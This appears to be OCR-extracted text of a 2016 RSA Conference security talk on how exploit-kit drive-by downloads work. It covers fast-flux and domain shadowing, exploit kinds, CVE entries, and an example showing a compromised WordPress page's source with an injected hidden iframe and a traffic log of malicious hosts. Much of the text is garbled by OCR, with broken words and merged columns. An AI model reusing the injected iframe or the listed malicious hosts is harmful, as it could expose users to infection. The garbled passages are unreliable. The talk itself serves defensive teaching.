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Anatomy of a Driveby-Download
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Anatomy of a Driveby-Download
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Anatomy of a Driveby-Download
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Anatomy of a Driveby-Download
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Anatomy of a Driveby-Download
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A Perfect Storm
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The EK Zoo
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Targeting Vs Evasion
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Stage 0: Distribution Targeting Vs Evasic \d’/
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Dynamic DNS & Fastluxing

Dynamic DNS FastFluxing

® Constantly reset DNS records to ® Constantly reset DNS records to poir
point to new IP address to a new IP address

® Available as a service, IPs limited t@ Custom built, access to global IPs
within a specific ASN

www.evil.org ﬁ 2023882083
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#RSAC

Stage 0O: Targeting Vs Evasion
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Domain Shadowing

® Creating sultlomains on compromised legit servers to redirect
to illicit pages
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Stage 0: Distribution Targeting Vs Evasic \d’/
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Stage O: Distribution

<iframesrd d 4 6 s PSOAf P2 NHE H

“ Re! irect
O
i
K Landing Page

g

Malware Server

S

RSAConference2016 Singapore

MRRe ©
D

proofpoint’ 17




Stage O: Distribution
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Stage O: Distribution
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Stage O: Distribution
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Stage O: Distribution
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Stage O: Distribution
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Stage O: Distribution
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Stage 1: Exploitatiorg Exploits 1

= Multiple Exploits
BA9ELX 2A0 YAlkt!l O ¢
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Stage 1: Exploitatiorg Exploits 2

= Multiple Exploits

® Chained Exploits
® Each performing necessary functions
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Stage 1: Exploitatiorg Exploits 3

= Multiple Exploits

® Chained Exploits

® Fingerprinting

Exploits

The Capabilities class provides properties that describe the system and runtime that are hosting the application. For example, a mobile phone’s screen might be 100 square
pixels, black and white, whereas a PC screen might be 1000 square pixels, color. By using the Capabilities class to determine what capabilities the client has, you can provide
appropriate content to as many users as possible. When you know the device's capabilities, you can tell the server to send the appropriate SWF files or tell the SWF file to alter its

presentation.

However, some capabilities of Adobe AIR are not listed as properties in the Capabilities class. They are properties of other classes:

Property

Description

NativeApplication.supportsDockIcon

Whether the operating system supports application doc icons.

NativeApplication.supportsMenu

Whether the operating system supports a global application menu bar.

NativeApplication.supportsSystemTrayIcon

Whether the operating system suppors system tray icons.

NativeWindow.supportsMenu

Whether the operating system supports window menus.

NativeWindow.supportsTransparency

Whether the operating system supports transparent windows.

Source: http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/system/Capabilities.html
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Stage 1: Exploitatiorg Exploits 4

= Multiple Exploits

B Chained Exploits
® Fingerprinting Exploits
® Evasive Exploits

CVE-2013-7331 Learn more at National Vulnerability Database (NVD)
= Severity Rating = Fix Information = Vulnerable Software Versions = SCAP Mappings

Description

The Microsoft. X\MLDOM ActiveX control in Microsoft Windows 8.1 and earlier allows remote attackers to determine the existence of local pathnames, UNC
share pathnames, intranet hostnames, and intranet |P addresses by examining error codes, as demonstrated by a res:f URL, and exploited in the wild in
February 2014.
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Stage 1: Exploitatiorg Exploits 5

= Multiple Exploits

B Chained Exploits
® Fingerprinting Exploits
® Evasive Exploits
B Code ExecutiomtMemory Corruption Exploits

CVE-2015-7645 Learn more at National Vulnerability Database (NVD)
= Severity Rating = Fix Information = Vulnerable Software Versions = SCAP Mappings

Description

Adobe Flash Player 18.x through 18.0.0.252 and 19.x through 19.0.0.207 on Windows and OS X and 11.x through 11.2.202.535 on Linux allows remote
attackers to execute arbitrary code via a crafted SWF file, as exploited in the wild in October 2015.
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Stage 1: Exploitatiorg Exploits 6

= Multiple Exploits

® Chained Exploits
® Fingerprinting Exploits
® Evasive Exploits
B Code ExecutiomtMemory Corruption Exploits
® | ocal Privilege Escalation Exploits
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Stage 1: Exploitation Example
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Stage 1: ExploitatiorRExample

i~<meta name="robots" content="noodp"/>

i<link href="

i.<script type .org","@type": "WebS

:....<‘I__ / _Vc,gs,.

i-<link title= /" rel="alternate" type="application/rss+xml"/>

i~<1link title=' .com/comments/feed/" rel="alternate" type="application/rss+xml"/>

iw<script type Wr1":"http:\/\/s rg\/images\/core\/emoji\/72x72\/","ext":".png","source”: {"concatemoji”:"http:\/\/1

<script src= ji-release.min.js?ver=4.2.8" type="text/javascript"></script>

~<style typ

ie<link i .com/wp-content/plugink/wysija-newsletters/css/validationEngine.jquery.css?ver=2.6.19" rel="styleshe

ie<link i g wp-content/plugins/confact-form-7/includes/css/styles.css?ver=4.3.1" rel="stylesheet” type="text/css

i~<link id="ol an.com/wp-content/plugfns/organize-series/orgSeries.css?ver=4.2.8" rel="stylesheet" type="text/css"

«<1link id=" p-content/plugins/socipl-media-widget/social_widget.css?ver=4.2.8" rel="stylesheet" type="text/css"

+-<1link i p-content/plugins/statfcounter/sc-styles.css?ver=4.2.8" rel="stylesheet" type="text/css" media="all"

<script srcs -counter/wp sc-ajax.jspver=4.2.8" type="text/javascript”></script>

~<script srcs| Sauanyms s pe="text/javascript"></script>

i-<script srcs jquery-migrate.min.js?ver=1.2.1" type="text/javascript"></script>

;~<link title= rsd" rel="EditURI" type="application/rsd+xml"/>

i-<link href=" .xml" rel="wlwmanifest" type="application/wlwmanifest+xml"/>

#-<link hre

i~<script type|

i~<link href="

?‘<sty1e types=|

~<script src=
D <body class="hd erguTe

C](span id=" abstractDecodeURI" style-"dlsplay none; ">

<script>

window._zem_rp_thumbnails = false; window._zem_rp_post_title = 'Home'; window._zem_rp_post_tags = [
ted-posts-by-zemanta/static/themes/vertical.css?version=1.13" rel="stylesheet"/>

e2/script.js" type="text/javascript"></script>

L Rstyle>css Stylesheet</style>
£l-Kdiv class="rulxxnibjnfzcj">
il SR <iframe width="250" height="258" src="http://actinomorphous.excelwood.co.uk/sCvZSujCaF/5@37@49- jOPRWUz-wXCRTVNXz-JVvqQPJA-hQqqb-tMgsM-pYYkFG- .php">
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Stage 1: Exploitation Example

- &

- PR ¥ VLI TR 14§ TEHICS] U ICHIC & RTIAYT/STal W T i iy IR ILLMIS) . KEYUPLT UNcL luu\'{
5528 HTTP | Jwp-content/plugins/contact-form-7/indudes js fiquery. form.min.js... 15,248 D; updateCount($(this));
P p] HTTP wp-content/themes/theme 2/images /postbullets.png 125 i H 2
[Z]30 HTTP wp-content/themes/theme 2/ fsidebar_bg.png 109 + Bi
= H
g]:: HTTP wp-content/themes/theme 2/in ockcontentbullets.png 126
- - Lo A R e o $.fn.wpcf7Normalizeurl = function() {
— g return this.each(function() {
G533 200 HTP I var_val = s.trim($(this).val());
Lo S 0 40000C0gro0p 0.0 2 3 25 if (val && ! val.match(/A[a-z] [a-zo-s +- ]’ /1)) { // fheck the scheme part| |
Ais 404 HTTP fpdownloadz macromedia.. ‘get/ﬂashplayer/update/currmt,lnstall/vers:on xml14,0.0, 145~ins. . 343 v:} = Yﬁ:‘replﬂcs(/ A\/+/
€936 200 HTTP add.addoocogrwp.co.t.k [ahtnykf2ikeeflconaf2tisktpmbkk 7cbdls /s/7mmn/p 1r0|ﬁ<00/t6ebﬁ'e4. % 474 1 e
€937 200 HTTP qq47.r54s9f.top  fwhitening/7057/50/62/480596 111,220 $(this).val(val);
Bz 200 wTP qq97.r54s9f.top  /?f=8a=2_h8p=nRVPnIqT708j=8q=2UW28v=921RH)ej98n=UYK... 31,072 D; Z :
39 200 HTTP qq47.r54s9f.top  f?i=It_VOel&p=8d=IUD8&w =8h=bPcsyZ 1ul &0 =3q48x =8 =9mNM... 106,534‘ 1 -
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Stage 1: Exploitation Example
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